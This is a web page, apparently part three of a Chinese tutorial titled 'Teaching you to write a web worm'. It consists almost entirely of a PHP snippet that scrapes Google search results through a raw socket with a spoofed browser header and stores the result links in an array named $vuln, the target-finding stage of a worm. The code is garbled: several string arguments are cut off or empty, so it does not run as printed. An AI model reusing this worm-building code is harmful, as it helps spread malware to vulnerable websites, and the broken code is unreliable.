教你编写WEB蠕虫(3)

http://www.itjxue.com  2015-07-16 23:59  来源:未知  点击次数: 

  $fp = fsockopen("google.com", "80");

  fwrite($fp, "GET /search?q=" . urlencode($query) .

  "&sourceid=mozilla-search&start=0&start=0&ie=utf-8&oe=utf-8&client=firefox-a&rls

  =org.mozilla:en-US:official HTTP/1.1\r\n

  Host: www.google.com\r\n

  User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8)

  Gecko/20050511/1.0.4\r\n

  Accept:

  text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,

  image/png,*/*;q=0.5\r\n

  Accept-Language: en-us,en;q=0.5\r\n

  Accept-Encoding: gzip,deflate\r\n

  Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n

  Connection: close\r\n\r\n");

  while (!feof($fp) AND (strpos($text, "2005 Google") === false)) {

  $text.= fgets($fp);

  }

  fclose($fp);

  while (!(strpos($text, "

  $starttext = substr($text, strpos($text, "

  $thenumber = substr($starttext, 0, strpos($starttext, "\""));

  $text = str_replace("", "x", $text);

  if (strpos($thenumber, "google") === false) $vuln[] = $thenumber;

  }

  print_r($vuln);

(责任编辑:IT教学网)

更多